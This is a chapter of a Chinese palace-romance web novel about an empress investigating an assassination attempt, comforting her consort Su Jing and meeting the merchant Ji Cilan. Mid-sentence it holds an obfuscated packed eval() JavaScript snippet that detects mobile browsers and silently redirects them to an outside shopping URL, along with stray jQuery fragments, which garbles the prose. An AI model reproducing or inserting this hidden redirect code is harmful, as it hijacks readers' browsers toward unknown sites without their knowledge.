“嘭”一声重响,重刑司的大铁门猛地从外踹开,秦箬大步跨进来,喘气的声音有些重,额前湿透的碎发还滴着汗,她往里看了眼,提着黑衣人的手松开了。
鬼车不在重刑司,从暗卫营调了个擅刑狱的人来,秦箬来时,她披头散发地在里头磨刀,一声一声的,像是要去剁肉。
秦箬不认得她,但不妨碍她吩咐事,“此人重要,没准是哪家的死士,刚逮着她就要自杀,你务必看牢了,把她的嘴巴给我撬开。”
“是。”秋刀回头看了眼地上的黑衣人,拿上磨好的刀,伸手给卸掉了黑衣人的下巴。
黑衣人疼得闷哼一声,原本塞在嘴里的破布团也掉了出来。
秦箬见她还算靠谱,拍拍手起身,“这交给你了,一旦查出什么消息,赶紧送到乾清宫。”
“秦统领放心,鬼车大人早已嘱咐过。”
秦箬回应声,便出了重刑司,连又去了乾清宫禀报此事。
彼时,楚言攸已下朝回来,在院中练了会剑,如今正陪着苏璟用早膳。
秦箬来得正是时候,她招手让宫人拿来碗筷,大大咧咧地坐在她们旁边,夹起个夹肉馍馍大口啃起来,一副没心没肺的样子。
楚言攸扬眉,往她碗里夹了口酱菜,“看你脸上受伤了,其他地方可还有伤口?“
“没。”秦箬又喝了一大口粥,这才慢慢缓过来,“那些人哪能奈何得了我,要不是我大意,也不会让那些人得逞。”
“人没事就好。”楚言攸说道,余光瞥见眼巴巴盯着她的苏璟,亦往他碗中夹了些菜,“此事发生得突然,应对时发生了些许纰漏也在所难免,事情已经发生,就不要懊悔了。”
“陛下说得对,下次肯定不会再出这种事。”秦箬应声道。
“你抓来的人如今在何处?”楚言攸问。
秦箬悄悄看了眼苏璟,压低声音说道:“在重刑司呢,也不知能不能问出什么话,不过那黑衣人的招式有点眼熟。”
“什么招式?”
“像是军营里的招式。”秦箬回道。
楚言攸若有所思,又问:“楼亦熙在什么地方?”
“还在天牢里关着,等着她母亲漠州军都督亲自过来把她领走。”
“是吗?”楚言攸神色微变,只是语气无端沉了沉,“看来天牢之中混进了些不干净的老鼠,阿箬,你去查,悄悄地查。”
秦箬点头,“陛下觉得,昨晚杀了知情人的家伙,是楼家的人?”
“只是猜测,你且查着,且不说昨晚的事,楼亦熙此番冒险进京,颇为古怪,命漠州探使查查在那之前,她接触了什么人。”楚言攸说道。
“是。”
谈话间已用好早膳,秦箬伸了个懒腰,只觉又活过来了,“对了,昨晚我追着那黑衣人,陛下猜我遇到了谁?”
楚言攸顺着她的话,“谁?”
“是季辞兰,大晚上不在家中睡觉,反跑到江上去游船,虽说离百花楼还有些距离,但从江上看,一眼便能看到百花楼,陛下,你说她是不是很奇怪?”秦箬一大连串地说着,心里也跟着蛐蛐起来。
楚言攸脚步一顿,“季辞兰…她大晚上去做什么?”
“跑去找男人寻欢作乐呗。”秦箬双臂交叉,暗戳戳地踢了下冒出的杂草。
“嗯,知道了,既然她不愿在家中温书,那就去给她找点事干吧。”这般闲不住的性子,得好好用用。
秦箬一听舒心了,朝楚言攸拱手道:“陛下圣明,陛下我先走了。”
秦统领来得快,去得也快,像阵疾风似的,眨眼间便不见了踪迹。
楚言攸缓缓吐了口气,见苏璟又去拨弄着院中的花草,上前几步,“苏璟,用完午膳我带你去宫外玩。”
苏璟自然欣喜,只是很快没了笑意,“姐姐这样忙,我又怎好一直缠着姐姐。”
“有人在你面前胡说八道了?”楚言攸冷下脸,周身的压迫感更强了,她拉起苏璟的手,放手心轻轻握着,“是谁?”
“没有,没有人乱说话。”苏璟别过头,不敢去看她的眼睛,察觉出她有些生气,重重咬起了唇瓣,什么也不肯说出来。
只是眼睛又红了。
“苏璟,回答我的话。”
声音一重,压抑的哭声断断续续的,苏璟靠到了楚言攸怀里,“姐姐,姐姐,我,我不是不知廉耻的人,我不是,我喜欢姐姐,我,我只是,只是想和姐姐在一起,没有,没有不知廉耻…”
“谁说的?”
“没,没有人说。”苏璟小心看了她一眼,泛白的指尖紧紧拽着楚言攸的袖子。
楚言攸垂眸,视线与他齐平,“苏璟,你信这样的话?”
“姐姐。”苏璟擦了擦眼角的泪,却是越擦越多,“对不起,姐姐对不起,是我太没用了,我,我不该将这些话放心上,可我难受,姐姐,我的心口好疼…”
“苏璟,我不是那个意思,你怎么会这样想?”楚言攸轻叹声,伸手擦去了他脸上的泪痕,“听到别人肆意辱骂,你当然可以难过,然后——”
苏璟用力抱紧了她,“然后什么?”
“然后来找我,我为你做主。”楚言攸弯腰抱起了苏璟,脚步稳当地往殿内走去。
走至殿门前,她又低头说道:“此外,你无需担心会打扰我,我既已说出口,就已然处理好了所有事,我可以心无旁骛地陪你。”
“姐姐,我下次不会这样说了。”苏璟的脑袋埋在她怀里,抽泣着说道。
正巧李大总管从一旁经过,见两人这般亲昵地抱在一起,装作捂着眼睛说道:“哎呀,苏郎君这是怎么了?”
“李有德,管好自己手底下的人,这种话,朕不想说第二遍。”
帝王如冰渣子的声音自头顶传来,吓得李大总管一个激灵,扑倒跪在地上,大呼:“陛下恕罪。”
没人应他,李大总管脸色铁青,当日便将乾清宫的宫人叫到一块,好好训了一遍,把那些乱嚼舌根的宫人全送到辛执房。
霎时间,宫中各样流言四起。
……
“江面上的景色确实很好。”
窗外是横贯整个皇城的凰岚江,阳光照在江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985821|133612||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面上波光粼粼,那时便如珍珠宝石镶嵌其中,到了夜里,更是难得的美景。
雅间内放着冰块,倒也不觉得热,只是民间能弄到此等珍贵之物来,着实少见。
“天下第一楼,果然名不虚传。”
“哎呀,能得陛下这样称赞,是我之幸也。”声音从门外传来,转眼到了雅间内。
楚言攸抿了口茶,“季女君,莫非此处也是你开的?”
“哦,那倒不是。”季辞兰笑了声,拂袖坐在椅子上,“我有个妹妹,擅长经商之道,天下第一楼是她的。”
天下第一楼是半月前才开起来的,不过短短半月时间名声远扬,成了达官显贵常来的地方,足以看出背后东家的厉害。
”原来如此。”楚言攸说着,心思到了靠窗边的苏璟身上,“景象如何?”
苏璟扭过头,笑道:“姐姐带我来的地方,自然是最好的。”
如果没有那个碍眼的人,就更好了。
季辞兰隐约所感不善的目光,正抬头时,那道目光又消失不见了,只得压下心中疑虑。
她又和楚言攸说起话,“哎呀,方才我眼拙,陛下身边这位,莫非就是近日宫中传得沸沸扬扬的苏郎君?”
见季辞兰如此问,眼中又满是好奇,楚言攸没有回她,只是默默认了。
“看来是这样没错,陛下带着心上人出宫玩,叫我做什么呀?”季辞兰打开折扇,抬手撑在了自己的额头上。
“你昨晚有这般闲情雅致到江上游船,夜里江面的景色应当不错,朕带他来看看。”楚言攸不紧不慢地说道。
季辞兰喝了口茶,“陛下话里有话,让我实在不知说什么好。”
“你什么也不用想,实说便好。”楚言攸看向她说道。
“实话就是…确实如此。”季辞兰一拍桌面,又指向了窗外,“夜里月色正浓时,江上景色宜人,最适合谈情说爱了,陛下来对了地方。”
楚言攸轻笑声,“季辞兰,朕有件事要你去做。”
季辞兰起身,朝她作揖行礼,“陛下尽管吩咐。”
“朕欲请人唱出戏,可这戏台子还没搭好。”
两人目光正好对视,季辞兰稍加思索,便明白了她话中深意,“这就巧了不是,季府宽阔,不管是多少人都能装得下。”
“季女君好大的口气,要是装不下。”楚言攸顿了顿,嘴角缓缓勾起,“季家可要赔惨了。”
“区区几个唱戏的人,还奈何不了季家,陛下安心,这出戏,定会让陛下满意。”季辞兰回道。
“那朕拭目以待。”
季辞兰摇着扇子,“当然。”
下一刻,楚言攸却是笑意渐失,“行了,你出去吧。”
季辞兰睁大了眼睛,“陛下这是用完就扔,让我好生伤心。”
“让酒楼的人备些好酒好菜,朕出宫,是为了带他出来散心的。”楚言攸招招手,示意她退下。
“无情啊。”季辞兰叹气老大声,见依旧没人搭理,默默退出了雅间。
不过一盏茶的功夫,好酒好菜上来了。